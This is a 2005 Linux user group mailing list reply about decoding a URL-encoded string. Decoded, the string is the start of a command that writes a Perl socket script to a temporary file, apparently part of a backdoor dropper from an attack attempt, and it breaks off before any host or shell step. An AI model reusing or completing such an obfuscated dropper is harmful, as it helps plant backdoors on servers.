Tugger the SLUGger!SLUG Mailing List Archives

Re: [SLUG] converting '%' hex chars back to text ?


On 2005.05.27 23:30 Michael Knight wrote:
Voytek wrote:
> what can I use to convert such hex strings back to human readable ?
>
> -e%20%22print%20%5C%22%5Cx23%5Cx21%5Cx2f%5Cx75%5Cx73%5Cx72%5Cx2f%5Cx62%5Cx69%5Cx > 6e%5Cx2f%5Cx70%5Cx65%5Cx72%5Cx6c%5Cx0a%5Cx75%5Cx73%5Cx65%5Cx20%5Cx53%5Cx6f%5Cx63 > %5Cx6b%5Cx65%5Cx74%5Cx3b%5Cx20%5Cx75%5Cx73%5Cx65%5Cx20%5Cx49%5Cx4f%5Cx3a%5Cx3a%5 > Cx48%5Cx61%5Cx6e%5Cx64%5Cx6c%5Cx65%5Cx3b%5Cx20%5Cx75%5Cx73%5Cx65%5Cx20%5Cx50%5Cx > 4f%5Cx53%5Cx49%5Cx58%5Cx3b%5Cx20%5Cx24%5Cx70%5Cx72%5Cx6f%5Cx74%5Cx6f%5Cx20%5Cx3d > %5Cx20%5Cx67%5Cx65%5Cx74%5Cx70%5Cx72%5Cx6f%5Cx74%5Cx6f%5Cx62%5Cx79%5Cx6e%5Cx61%5 > Cx6d%5Cx65%5Cx28%5Cx27%5Cx74%5Cx63%5Cx70%5Cx27%5Cx29%5Cx3b%5C%22%22%20%3E/var/tm

This data appears to be URL encoded. There are many sites on the net
that will let you decode it on the fly, such as

http://ostermiller.org/calc/encode.html

I roughly decoded it to a two-liner:

-e "print \"#!\usr\bin\perl
use Socket; use IO::Handle; use POSIX; $proto = getprotobyname('tcp');\"" >/var/tm

[the second line may word wrap]

HTH,
Robert Thorsby